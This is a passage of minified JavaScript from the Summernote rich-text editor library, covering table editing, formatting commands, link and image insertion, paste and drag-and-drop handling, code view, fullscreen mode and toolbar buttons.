t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>")}}},e.prototype.recoverAttributes=function(t){var e="";if(!t)return e;for(var o=t.attributes||[],n=0;n<o.length;n++)"id"!==o[n].name.toLowerCase()&&o[n].specified&&(e+=" "+o[n].name+"='"+o[n].value+"'");return e},e.prototype.deleteRow=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=n[0].rowIndex,s=new Mt(o,Mt.where.Row,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),a=0;a<s.length;a++)if(s[a]){var l=s[a].baseCell,c=s[a].virtualTable,d=l.rowSpan&&l.rowSpan>1,u=d?parseInt(l.rowSpan,10):0;switch(s[a].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.AddCell:var h=n.next("tr")[0];if(!h)continue;var p=n[0].cells[i];d&&(u>2?(u--,h.insertBefore(p,h.cells[i]),h.cells[i].setAttribute("rowSpan",u),h.cells[i].innerHTML=""):2===u&&(h.insertBefore(p,h.cells[i]),h.cells[i].removeAttribute("rowSpan"),h.cells[i].innerHTML=""));continue;case Mt.resultAction.SubtractSpanCount:d&&(u>2?(u--,l.setAttribute("rowSpan",u),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")):2===u&&(l.removeAttribute("rowSpan"),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")));continue;case Mt.resultAction.RemoveCell:continue}}n.remove()},e.prototype.deleteCol=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=new Mt(o,Mt.where.Column,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),s=0;s<r.length;s++)if(r[s])switch(r[s].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.SubtractSpanCount:var a=r[s].baseCell;if(a.colSpan&&a.colSpan>1){var l=a.colSpan?parseInt(a.colSpan,10):0;l>2?(l--,a.setAttribute("colSpan",l),a.cellIndex===i&&(a.innerHTML="")):2===l&&(a.removeAttribute("colSpan"),a.cellIndex===i&&(a.innerHTML=""))}continue;case Mt.resultAction.RemoveCell:Nt.remove(r[s].baseCell,!0);continue}},e.prototype.createTable=function(e,o,n){for(var i,r=[],s=0;s<e;s++)r.push("<td>"+Nt.blank+"</td>");i=r.join("");for(var a,l=[],c=0;c<o;c++)l.push("<tr>"+i+"</tr>");a=l.join("");var d=t("<table>"+a+"</table>");return n&&n.tableClassName&&d.addClass(n.tableClassName),d[0]},e.prototype.deleteTable=function(e){var o=Nt.ancestor(e.commonAncestor(),Nt.isCell);t(o).closest("table").remove()},e}(),jt=function(){function e(e){var o=this;this.context=e,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.editable=this.$editable[0],this.lastRange=null,this.style=new Ft,this.table=new Ut,this.typing=new zt,this.bullet=new Bt,this.history=new Dt(this.$editable),this.context.memo("help.undo",this.lang.help.undo),this.context.memo("help.redo",this.lang.help.redo),this.context.memo("help.tab",this.lang.help.tab),this.context.memo("help.untab",this.lang.help.untab),this.context.memo("help.insertParagraph",this.lang.help.insertParagraph),this.context.memo("help.insertOrderedList",this.lang.help.insertOrderedList),this.context.memo("help.insertUnorderedList",this.lang.help.insertUnorderedList),this.context.memo("help.indent",this.lang.help.indent),this.context.memo("help.outdent",this.lang.help.outdent),this.context.memo("help.formatPara",this.lang.help.formatPara),this.context.memo("help.insertHorizontalRule",this.lang.help.insertHorizontalRule),this.context.memo("help.fontName",this.lang.help.fontName);for(var n=["bold","italic","underline","strikethrough","superscript","subscript","justifyLeft","justifyCenter","justifyRight","justifyFull","formatBlock","removeFormat","backColor"],i=0,r=n.length;i<r;i++)this[n[i]]=function(t){return function(e){o.beforeCommand(),document.execCommand(t,!1,e),o.afterCommand(!0)}}(n[i]),this.context.memo("help."+n[i],this.lang.help[n[i]]);this.fontName=this.wrapCommand(function(t){return o.fontStyling("font-family","'"+t+"'")}),this.fontSize=this.wrapCommand(function(t){return o.fontStyling("font-size",t+"px")});for(i=1;i<=6;i++)this["formatH"+i]=function(t){return function(){o.formatBlock("H"+t)}}(i),this.context.memo("help.formatH"+i,this.lang.help["formatH"+i]);this.insertParagraph=this.wrapCommand(function(){o.typing.insertParagraph(o.editable)}),this.insertOrderedList=this.wrapCommand(function(){o.bullet.insertOrderedList(o.editable)}),this.insertUnorderedList=this.wrapCommand(function(){o.bullet.insertUnorderedList(o.editable)}),this.indent=this.wrapCommand(function(){o.bullet.indent(o.editable)}),this.outdent=this.wrapCommand(function(){o.bullet.outdent(o.editable)}),this.insertNode=this.wrapCommand(function(e){o.isLimited(t(e).text().length)||(o.createRange().insertNode(e),Ht.createFromNodeAfter(e).select())}),this.insertText=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().insertNode(Nt.createText(t));Ht.create(e,Nt.nodeLength(e)).select()}}),this.pasteHTML=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().pasteHTML(t);Ht.createFromNodeAfter(N.last(e)).select()}}),this.formatBlock=this.wrapCommand(function(t,e){var n=o.options.callbacks.onApplyCustomStyle;n?n.call(o,e,o.context,o.onFormatBlock):o.onFormatBlock(t,e)}),this.insertHorizontalRule=this.wrapCommand(function(){var t=o.createRange().insertNode(Nt.create("HR"));t.nextSibling&&Ht.create(t.nextSibling,0).normalize().select()}),this.lineHeight=this.wrapCommand(function(t){o.style.stylePara(o.createRange(),{lineHeight:t})}),this.createLink=this.wrapCommand(function(e){var n=e.url,i=e.text,r=e.isNewWindow,s=e.range||o.createRange(),a=s.toString()!==i;"string"==typeof n&&(n=n.trim()),n=o.options.onCreateLink?o.options.onCreateLink(n):/^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(n)?n:"http://"+n;var l=[];if(a){var c=(s=s.deleteContents()).insertNode(t("<A>"+i+"</A>")[0]);l.push(c)}else l=o.style.styleNodes(s,{nodeName:"A",expandClosestSibling:!0,onlyPartialContains:!0});t.each(l,function(e,o){t(o).attr("href",n),r?t(o).attr("target","_blank"):t(o).removeAttr("target")});var d=Ht.createFromNodeBefore(N.head(l)).getStartPoint(),u=Ht.createFromNodeAfter(N.last(l)).getEndPoint();Ht.create(d.node,d.offset,u.node,u.offset).select()}),this.color=this.wrapCommand(function(t){var e=t.foreColor,o=t.backColor;e&&document.execCommand("foreColor",!1,e),o&&document.execCommand("backColor",!1,o)}),this.foreColor=this.wrapCommand(function(t){document.execCommand("styleWithCSS",!1,!0),document.execCommand("foreColor",!1,t)}),this.insertTable=this.wrapCommand(function(t){var e=t.split("x");o.createRange().deleteContents().insertNode(o.table.createTable(e[0],e[1],o.options))}),this.removeMedia=this.wrapCommand(function(){var e=t(o.restoreTarget()).parent();e.parent("figure").length?e.parent("figure").remove():e=t(o.restoreTarget()).detach(),o.context.triggerEvent("media.delete",e,o.$editable)}),this.floatMe=this.wrapCommand(function(e){var n=t(o.restoreTarget());n.toggleClass("note-float-left","left"===e),n.toggleClass("note-float-right","right"===e),n.css("float",e)}),this.resize=this.wrapCommand(function(e){t(o.restoreTarget()).css({width:100*e+"%",height:""})})}return e.prototype.initialize=function(){var t=this;this.$editable.on("keydown",function(e){if(e.keyCode===At.code.ENTER&&t.context.triggerEvent("enter",e),t.context.triggerEvent("keydown",e),e.isDefaultPrevented()||(t.options.shortcuts?t.handleKeyMap(e):t.preventDefaultEditableShortCuts(e)),t.isLimited(1,e))return!1}).on("keyup",function(e){t.context.triggerEvent("keyup",e)}).on("focus",function(e){t.context.triggerEvent("focus",e)}).on("blur",function(e){t.context.triggerEvent("blur",e)}).on("mousedown",function(e){t.context.triggerEvent("mousedown",e)}).on("mouseup",function(e){t.context.triggerEvent("mouseup",e)}).on("scroll",function(e){t.context.triggerEvent("scroll",e)}).on("paste",function(e){t.context.triggerEvent("paste",e)}),this.$editable.html(Nt.html(this.$note)||Nt.emptyPara),this.$editable.on(z.inputEventName,C.debounce(function(){t.context.triggerEvent("change",t.$editable.html())},100)),this.$editor.on("focusin",function(e){t.context.triggerEvent("focusin",e)}).on("focusout",function(e){t.context.triggerEvent("focusout",e)}),this.options.airMode||(this.options.width&&this.$editor.outerWidth(this.options.width),this.options.height&&this.$editable.outerHeight(this.options.height),this.options.maxHeight&&this.$editable.css("max-height",this.options.maxHeight),this.options.minHeight&&this.$editable.css("min-height",this.options.minHeight)),this.history.recordUndo()},e.prototype.destroy=function(){this.$editable.off()},e.prototype.handleKeyMap=function(t){var e=this.options.keyMap[z.isMac?"mac":"pc"],o=[];t.metaKey&&o.push("CMD"),t.ctrlKey&&!t.altKey&&o.push("CTRL"),t.shiftKey&&o.push("SHIFT");var n=At.nameFromCode[t.keyCode];n&&o.push(n);var i=e[o.join("+")];i?!1!==this.context.invoke(i)&&t.preventDefault():At.isEdit(t.keyCode)&&this.afterCommand()},e.prototype.preventDefaultEditableShortCuts=function(t){(t.ctrlKey||t.metaKey)&&N.contains([66,73,85],t.keyCode)&&t.preventDefault()},e.prototype.isLimited=function(t,e){return t=t||0,(void 0===e||!(At.isMove(e.keyCode)||e.ctrlKey||e.metaKey||N.contains([At.code.BACKSPACE,At.code.DELETE],e.keyCode)))&&(this.options.maxTextLength>0&&this.$editable.text().length+t>=this.options.maxTextLength)},e.prototype.createRange=function(){return this.focus(),Ht.create(this.editable)},e.prototype.saveRange=function(t){this.lastRange=this.createRange(),t&&this.lastRange.collapse().select()},e.prototype.restoreRange=function(){this.lastRange&&(this.lastRange.select(),this.focus())},e.prototype.saveTarget=function(t){this.$editable.data("target",t)},e.prototype.clearTarget=function(){this.$editable.removeData("target")},e.prototype.restoreTarget=function(){return this.$editable.data("target")},e.prototype.currentStyle=function(){var t=Ht.create();return t&&(t=t.normalize()),t?this.style.current(t):this.style.fromNode(this.$editable)},e.prototype.styleFromNode=function(t){return this.style.fromNode(t)},e.prototype.undo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.undo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.redo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.redo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.beforeCommand=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.focus()},e.prototype.afterCommand=function(t){this.normalizeContent(),this.history.recordUndo(),t||this.context.triggerEvent("change",this.$editable.html())},e.prototype.tab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t);else{if(0===this.options.tabSize)return!1;this.isLimited(this.options.tabSize)||(this.beforeCommand(),this.typing.insertTab(t,this.options.tabSize),this.afterCommand())}},e.prototype.untab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t,!0);else if(0===this.options.tabSize)return!1},e.prototype.wrapCommand=function(t){var e=this;return function(){e.beforeCommand(),t.apply(e,arguments),e.afterCommand()}},e.prototype.insertImage=function(e,o){var n,i=this;return(n=e,t.Deferred(function(e){var o=t("<img>");o.one("load",function(){o.off("error abort"),e.resolve(o)}).one("error abort",function(){o.off("load").detach(),e.reject(o)}).css({display:"none"}).appendTo(document.body).attr("src",n)}).promise()).then(function(t){i.beforeCommand(),"function"==typeof o?o(t):("string"==typeof o&&t.attr("data-filename",o),t.css("width",Math.min(i.$editable.width(),t.width()))),t.show(),Ht.create(i.editable).insertNode(t[0]),Ht.createFromNodeAfter(t[0]).select(),i.afterCommand()}).fail(function(t){i.context.triggerEvent("image.upload.error",t)})},e.prototype.insertImages=function(e){var o=this;t.each(e,function(e,n){var i,r=n.name;o.options.maximumImageFileSize&&o.options.maximumImageFileSize<n.size?o.context.triggerEvent("image.upload.error",o.lang.image.maximumFileSizeError):(i=n,t.Deferred(function(e){t.extend(new FileReader,{onload:function(t){var o=t.target.result;e.resolve(o)},onerror:function(t){e.reject(t)}}).readAsDataURL(i)}).promise()).then(function(t){return o.insertImage(t,r)}).fail(function(){o.context.triggerEvent("image.upload.error")})})},e.prototype.insertImagesOrCallback=function(t){this.options.callbacks.onImageUpload?this.context.triggerEvent("image.upload",t):this.insertImages(t)},e.prototype.getSelectedText=function(){var t=this.createRange();return t.isOnAnchor()&&(t=Ht.createFromNode(Nt.ancestor(t.sc,Nt.isAnchor))),t.toString()},e.prototype.onFormatBlock=function(e,o){if(e=z.isMSIE?"<"+e+">":e,document.execCommand("FormatBlock",!1,e),o&&o.length){var n=o[0].className||"";if(n){var i=this.createRange();t([i.sc,i.ec]).closest(e).addClass(n)}}},e.prototype.formatPara=function(){this.formatBlock("P")},e.prototype.fontStyling=function(e,o){var n=this.createRange();if(n){var i=this.style.styleNodes(n);if(t(i).css(e,o),n.isCollapsed()){var r=N.head(i);r&&!Nt.nodeLength(r)&&(r.innerHTML=Nt.ZERO_WIDTH_NBSP_CHAR,Ht.createFromNodeAfter(r.firstChild).select(),this.$editable.data("bogus",r))}}},e.prototype.unlink=function(){var t=this.createRange();if(t.isOnAnchor()){var e=Nt.ancestor(t.sc,Nt.isAnchor);(t=Ht.createFromNode(e)).select(),this.beforeCommand(),document.execCommand("unlink"),this.afterCommand()}},e.prototype.getLinkInfo=function(){var e=this.createRange().expand(Nt.isAnchor),o=t(N.head(e.nodes(Nt.isAnchor))),n={range:e,text:e.toString(),url:o.length?o.attr("href"):""};return o.length&&(n.isNewWindow="_blank"===o.attr("target")),n},e.prototype.addRow=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addRow(e,t),this.afterCommand())},e.prototype.addCol=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addCol(e,t),this.afterCommand())},e.prototype.deleteRow=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteRow(t),this.afterCommand())},e.prototype.deleteCol=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteCol(t),this.afterCommand())},e.prototype.deleteTable=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteTable(t),this.afterCommand())},e.prototype.resizeTo=function(t,e,o){var n;if(o){var i=t.y/t.x,r=e.data("ratio");n={width:r>i?t.x:t.y/r,height:r>i?t.x*r:t.y}}else n={width:t.x,height:t.y};e.css(n)},e.prototype.hasFocus=function(){return this.$editable.is(":focus")},e.prototype.focus=function(){this.hasFocus()||this.$editable.focus()},e.prototype.isEmpty=function(){return Nt.isEmpty(this.$editable[0])||Nt.emptyPara===this.$editable.html()},e.prototype.empty=function(){this.context.invoke("code",Nt.emptyPara)},e.prototype.normalizeContent=function(){this.$editable[0].normalize()},e}(),qt=function(){function t(t){this.context=t,this.$editable=t.layoutInfo.editable}return t.prototype.initialize=function(){this.$editable.on("paste",this.pasteByEvent.bind(this))},t.prototype.pasteByEvent=function(t){var e=t.originalEvent.clipboardData;if(e&&e.items&&e.items.length){var o=N.head(e.items);"file"===o.kind&&-1!==o.type.indexOf("image/")&&this.context.invoke("editor.insertImagesOrCallback",[o.getAsFile()]),this.context.invoke("editor.afterCommand")}},t}(),Kt=function(){function e(e){this.context=e,this.$eventListener=t(document),this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.documentEventHandlers={},this.$dropzone=t(['<div class="note-dropzone">',' <div class="note-dropzone-message"/>',"</div>"].join("")).prependTo(this.$editor)}return e.prototype.initialize=function(){this.options.disableDragAndDrop?(this.documentEventHandlers.onDrop=function(t){t.preventDefault()},this.$eventListener=this.$dropzone,this.$eventListener.on("drop",this.documentEventHandlers.onDrop)):this.attachDragAndDropEvent()},e.prototype.attachDragAndDropEvent=function(){var e=this,o=t(),n=this.$dropzone.find(".note-dropzone-message");this.documentEventHandlers.onDragenter=function(t){var i=e.context.invoke("codeview.isActivated"),r=e.$editor.width()>0&&e.$editor.height()>0;i||o.length||!r||(e.$editor.addClass("dragover"),e.$dropzone.width(e.$editor.width()),e.$dropzone.height(e.$editor.height()),n.text(e.lang.image.dragImageHere)),o=o.add(t.target)},this.documentEventHandlers.onDragleave=function(t){(o=o.not(t.target)).length||e.$editor.removeClass("dragover")},this.documentEventHandlers.onDrop=function(){o=t(),e.$editor.removeClass("dragover")},this.$eventListener.on("dragenter",this.documentEventHandlers.onDragenter).on("dragleave",this.documentEventHandlers.onDragleave).on("drop",this.documentEventHandlers.onDrop),this.$dropzone.on("dragenter",function(){e.$dropzone.addClass("hover"),n.text(e.lang.image.dropImage)}).on("dragleave",function(){e.$dropzone.removeClass("hover"),n.text(e.lang.image.dragImageHere)}),this.$dropzone.on("drop",function(o){var n=o.originalEvent.dataTransfer;o.preventDefault(),n&&n.files&&n.files.length?(e.$editable.focus(),e.context.invoke("editor.insertImagesOrCallback",n.files)):t.each(n.types,function(o,i){var r=n.getData(i);i.toLowerCase().indexOf("text")>-1?e.context.invoke("editor.pasteHTML",r):t(r).each(function(t,o){e.context.invoke("editor.insertNode",o)})})}).on("dragover",!1)},e.prototype.destroy=function(){var t=this;Object.keys(this.documentEventHandlers).forEach(function(e){t.$eventListener.off(e.substr(2).toLowerCase(),t.documentEventHandlers[e])}),this.documentEventHandlers={}},e}();z.hasCodeMirror&&(z.isSupportAmd?require(["codemirror"],function(t){Ot=t}):Ot=window.CodeMirror);var Vt=function(){function t(t){this.context=t,this.$editor=t.layoutInfo.editor,this.$editable=t.layoutInfo.editable,this.$codable=t.layoutInfo.codable,this.options=t.options}return t.prototype.sync=function(){this.isActivated()&&z.hasCodeMirror&&this.$codable.data("cmEditor").save()},t.prototype.isActivated=function(){return this.$editor.hasClass("codeview")},t.prototype.toggle=function(){this.isActivated()?this.deactivate():this.activate(),this.context.triggerEvent("codeview.toggled")},t.prototype.activate=function(){var t=this;if(this.$codable.val(Nt.html(this.$editable,this.options.prettifyHtml)),this.$codable.height(this.$editable.height()),this.context.invoke("toolbar.updateCodeview",!0),this.$editor.addClass("codeview"),this.$codable.focus(),z.hasCodeMirror){var e=Ot.fromTextArea(this.$codable[0],this.options.codemirror);if(this.options.codemirror.tern){var o=new Ot.TernServer(this.options.codemirror.tern);e.ternServer=o,e.on("cursorActivity",function(t){o.updateArgHints(t)})}e.on("blur",function(o){t.context.triggerEvent("blur.codeview",e.getValue(),o)}),e.setSize(null,this.$editable.outerHeight()),this.$codable.data("cmEditor",e)}else this.$codable.on("blur",function(e){t.context.triggerEvent("blur.codeview",t.$codable.val(),e)})},t.prototype.deactivate=function(){if(z.hasCodeMirror){var t=this.$codable.data("cmEditor");this.$codable.val(t.getValue()),t.toTextArea()}var e=Nt.value(this.$codable,this.options.prettifyHtml)||Nt.emptyPara,o=this.$editable.html()!==e;this.$editable.html(e),this.$editable.height(this.options.height?this.$codable.height():"auto"),this.$editor.removeClass("codeview"),o&&this.context.triggerEvent("change",this.$editable.html(),this.$editable),this.$editable.focus(),this.context.invoke("toolbar.updateCodeview",!1)},t.prototype.destroy=function(){this.isActivated()&&this.deactivate()},t}(),Wt=function(){function e(e){this.$document=t(document),this.$statusbar=e.layoutInfo.statusbar,this.$editable=e.layoutInfo.editable,this.options=e.options}return e.prototype.initialize=function(){var t=this;this.options.airMode||this.options.disableResizeEditor?this.destroy():this.$statusbar.on("mousedown",function(e){e.preventDefault(),e.stopPropagation();var o=t.$editable.offset().top-t.$document.scrollTop(),n=function(e){var n=e.clientY-(o+24);n=t.options.minheight>0?Math.max(n,t.options.minheight):n,n=t.options.maxHeight>0?Math.min(n,t.options.maxHeight):n,t.$editable.height(n)};t.$document.on("mousemove",n).one("mouseup",function(){t.$document.off("mousemove",n)})})},e.prototype.destroy=function(){this.$statusbar.off(),this.$statusbar.addClass("locked")},e}(),Gt=function(){function e(e){var o=this;this.context=e,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.$editable=e.layoutInfo.editable,this.$codable=e.layoutInfo.codable,this.$window=t(window),this.$scrollbar=t("html, body"),this.onResize=function(){o.resizeTo({h:o.$window.height()-o.$toolbar.outerHeight()})}}return e.prototype.resizeTo=function(t){this.$editable.css("height",t.h),this.$codable.css("height",t.h),this.$codable.data("cmeditor")&&this.$codable.data("cmeditor").setsize(null,t.h)},e.prototype.toggle=function(){this.$editor.toggleClass("fullscreen"),this.isFullscreen()?(this.$editable.data("orgHeight",this.$editable.css("height")),this.$window.on("resize",this.onResize).trigger("resize"),this.$scrollbar.css("overflow","hidden")):(this.$window.off("resize",this.onResize),this.resizeTo({h:this.$editable.data("orgHeight")}),this.$scrollbar.css("overflow","visible")),this.context.invoke("toolbar.updateFullscreen",this.isFullscreen())},e.prototype.isFullscreen=function(){return this.$editor.hasClass("fullscreen")},e}(),_t=function(){function e(e){var o=this;this.context=e,this.$document=t(document),this.$editingArea=e.layoutInfo.editingArea,this.options=e.options,this.lang=this.options.langInfo,this.events={"summernote.mousedown":function(t,e){o.update(e.target)&&e.preventDefault()},"summernote.keyup summernote.scroll summernote.change summernote.dialog.shown":function(){o.update()},"summernote.disable":function(){o.hide()},"summernote.codeview.toggled":function(){o.update()}}}return e.prototype.initialize=function(){var e=this;this.$handle=t(['<div class="note-handle">','<div class="note-control-selection">','<div class="note-control-selection-bg"></div>','<div class="note-control-holder note-control-nw"></div>','<div class="note-control-holder note-control-ne"></div>','<div class="note-control-holder note-control-sw"></div>','<div class="',this.options.disableResizeImage?"note-control-holder":"note-control-sizing",' note-control-se"></div>',this.options.disableResizeImage?"":'<div class="note-control-selection-info"></div>',"</div>","</div>"].join("")).prependTo(this.$editingArea),this.$handle.on("mousedown",function(t){if(Nt.isControlSizing(t.target)){t.preventDefault(),t.stopPropagation();var o=e.$handle.find(".note-control-selection").data("target"),n=o.offset(),i=e.$document.scrollTop(),r=function(t){e.context.invoke("editor.resizeTo",{x:t.clientX-n.left,y:t.clientY-(n.top-i)},o,!t.shiftKey),e.update(o[0])};e.$document.on("mousemove",r).one("mouseup",function(t){t.preventDefault(),e.$document.off("mousemove",r),e.context.invoke("editor.afterCommand")}),o.data("ratio")||o.data("ratio",o.height()/o.width())}}),this.$handle.on("wheel",function(t){t.preventDefault(),e.update()})},e.prototype.destroy=function(){this.$handle.remove()},e.prototype.update=function(e){if(this.context.isDisabled())return!1;var o=Nt.isImg(e),n=this.$handle.find(".note-control-selection");if(this.context.invoke("imagePopover.update",e),o){var i=t(e),r=i.position(),s={left:r.left+parseInt(i.css("marginLeft"),10),top:r.top+parseInt(i.css("marginTop"),10)},a={w:i.outerWidth(!1),h:i.outerHeight(!1)};n.css({display:"block",left:s.left,top:s.top,width:a.w,height:a.h}).data("target",i);var l=new Image;l.src=i.attr("src");var c=a.w+"x"+a.h+" ("+this.lang.image.original+": "+l.width+"x"+l.height+")";n.find(".note-control-selection-info").text(c),this.context.invoke("editor.saveTarget",e)}else this.hide();return o},e.prototype.hide=function(){this.context.invoke("editor.clearTarget"),this.$handle.children().hide()},e}(),Zt=/^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i,Yt=function(){function e(t){var e=this;this.context=t,this.events={"summernote.keyup":function(t,o){o.isDefaultPrevented()||e.handleKeyup(o)},"summernote.keydown":function(t,o){e.handleKeydown(o)}}}return e.prototype.initialize=function(){this.lastWordRange=null},e.prototype.destroy=function(){this.lastWordRange=null},e.prototype.replace=function(){if(this.lastWordRange){var e=this.lastWordRange.toString(),o=e.match(Zt);if(o&&(o[1]||o[2])){var n=o[1]?e:"http://"+e,i=t("<a />").html(e).attr("href",n)[0];this.lastWordRange.insertNode(i),this.lastWordRange=null,this.context.invoke("editor.focus")}}},e.prototype.handleKeydown=function(t){if(N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)){var e=this.context.invoke("editor.createRange").getWordRange();this.lastWordRange=e}},e.prototype.handleKeyup=function(t){N.contains([At.code.ENTER,At.code.SPACE],t.keyCode)&&this.replace()},e}(),Qt=function(){function t(t){var e=this;this.$note=t.layoutInfo.note,this.events={"summernote.change":function(){e.$note.val(t.invoke("code"))}}}return t.prototype.shouldInitialize=function(){return Nt.isTextarea(this.$note[0])},t}(),Jt=function(){function e(t){var e=this;this.context=t,this.$editingArea=t.layoutInfo.editingArea,this.options=t.options,this.events={"summernote.init summernote.change":function(){e.update()},"summernote.codeview.toggled":function(){e.update()}}}return e.prototype.shouldInitialize=function(){return!!this.options.placeholder},e.prototype.initialize=function(){var e=this;this.$placeholder=t('<div class="note-placeholder">'),this.$placeholder.on("click",function(){e.context.invoke("focus")}).text(this.options.placeholder).prependTo(this.$editingArea),this.update()},e.prototype.destroy=function(){this.$placeholder.remove()},e.prototype.update=function(){var t=!this.context.invoke("codeview.isActivated")&&this.context.invoke("editor.isEmpty");this.$placeholder.toggle(t)},e}(),Xt=function(){function e(e){this.ui=t.summernote.ui,this.context=e,this.$toolbar=e.layoutInfo.toolbar,this.options=e.options,this.lang=this.options.langInfo,this.invertedKeyMap=C.invertObject(this.options.keyMap[z.isMac?"mac":"pc"])}return e.prototype.representShortcut=function(t){var e=this.invertedKeyMap[t];return this.options.shortcuts&&e?(z.isMac&&(e=e.replace("CMD","⌘").replace("SHIFT","⇧"))," ("+(e=e.replace("BACKSLASH","\\").replace("SLASH","/").replace("LEFTBRACKET","[").replace("RIGHTBRACKET","]"))+")"):""},e.prototype.button=function(t){return!this.options.tooltip&&t.tooltip&&delete t.tooltip,t.container=this.options.container,this.ui.button(t)},e.prototype.initialize=function(){this.addToolbarButtons(),this.addImagePopoverButtons(),this.addLinkPopoverButtons(),this.addTablePopoverButtons(),this.fontInstalledMap={}},e.prototype.destroy=function(){delete this.fontInstalledMap},e.prototype.isFontInstalled=function(t){return this.fontInstalledMap.hasOwnProperty(t)||(this.fontInstalledMap[t]=z.isFontInstalled(t)||N.contains(this.options.fontNamesIgnoreCheck,t)),this.fontInstalledMap[t]},e.prototype.isFontDeservedToAdd=function(e){return""!==(e=e.toLowerCase())&&this.isFontInstalled(e)&&-1===t.inArray(e,["sans-serif","serif","monospace","cursive","fantasy"])},e.prototype.addToolbarButtons=function(){var e=this;this.context.memo("button.style",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents(e.ui.icon(e.options.icons.magic),e.options),tooltip:e.lang.style.style,data:{toggle:"dropdown"}}),e.ui.dropdown({className:"dropdown-style",items:e.options.styleTags,title:e.lang.style.style,template:function(t){"string"==typeof t&&(t={tag:t,title:e.lang.style.hasOwnProperty(t)?e.lang.style[t]:t});var o=t.tag,n=t.title;return"<"+o+(t.style?' style="'+t.style+'" ':"")+(t.className?' class="'+t.className+'"':"")+">"+n+"</"+o+">"},click:e.context.createInvokeHandler("editor.formatBlock")})]).render()});for(var o=function(t,o){var i=n.options.styleTags[t];n.context.memo("button.style."+i,function(){return e.button({className:"note-btn-style-"+i,contents:'<div data-value="'+i+'">'+i.toUpperCase()+"</div>",tooltip:e.lang.style[i],click:e.context.createInvokeHandler("editor.formatBlock")}).render()})},n=this,i=0,r=this.options.styleTags.length;i<r;i++)o(i);this.context.memo("button.bold",function(){return e.button({className:"note-btn-bold",contents:e.ui.icon(e.options.icons.bold),tooltip:e.lang.font.bold+e.representShortcut("bold"),click:e.context.createInvokeHandlerAndUpdateState("editor.bold")}).render()}),this.context.memo("button.italic",function(){return e.button({className:"note-btn-italic",contents:e.ui.icon(e.options.icons.italic),tooltip:e.lang.font.italic+e.representShortcut("italic"),click:e.context.createInvokeHandlerAndUpdateState("editor.italic")}).render()}),this.context.memo("button.underline",function(){return e.button({className:"note-btn-underline",contents:e.ui.icon(e.options.icons.underline),tooltip:e.lang.font.underline+e.representShortcut("underline"),click:e.context.createInvokeHandlerAndUpdateState("editor.underline")}).render()}),this.context.memo("button.clear",function(){return e.button({contents:e.ui.icon(e.options.icons.eraser),tooltip:e.lang.font.clear+e.representShortcut("removeFormat"),click:e.context.createInvokeHandler("editor.removeFormat")}).render()}),this.context.memo("button.strikethrough",function(){return e.button({className:"note-btn-strikethrough",contents:e.ui.icon(e.options.icons.strikethrough),tooltip:e.lang.font.strikethrough+e.representShortcut("strikethrough"),click:e.context.createInvokeHandlerAndUpdateState("editor.strikethrough")}).render()}),this.context.memo("button.superscript",function(){return e.button({className:"note-btn-superscript",contents:e.ui.icon(e.options.icons.superscript),tooltip:e.lang.font.superscript,click:e.context.createInvokeHandlerAndUpdateState("editor.superscript")}).render()}),this.context.memo("button.subscript",function(){return e.button({className:"note-btn-subscript",contents:e.ui.icon(e.options.icons.subscript),tooltip:e.lang.font.subscript,click:e.context.createInvokeHandlerAndUpdateState("editor.subscript")}).render()}),this.context.memo("button.fontname",function(){var o=e.context.invoke("editor.currentStyle");return t.each(o["font-family"].split(","),function(o,n){n=n.trim().replace(/['"]+/g,""),e.isFontDeservedToAdd(n)&&-1===t.inArray(n,e.options.fontNames)&&e.options.fontNames.push(n)}),e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span class="note-current-fontname"/>',e.options),tooltip:e.lang.font.name,data:{toggle:"dropdown"}}),e.ui.dropdownCheck({className:"dropdown-fontname",checkClassName:e.options.icons.menuCheck,items:e.options.fontNames.filter(e.isFontInstalled.bind(e)),title:e.lang.font.name,template:function(t){return"<span style=\"font-family: '"+t+"'\">"+t+"</span>"},click:e.context.createInvokeHandlerAndUpdateState("editor.fontName")})]).render()}),this.context.memo("button.fontsize",function(){return e.ui.buttonGroup([e.button({className:"dropdown-toggle",contents:e.ui.dropdownButtonContents('<span 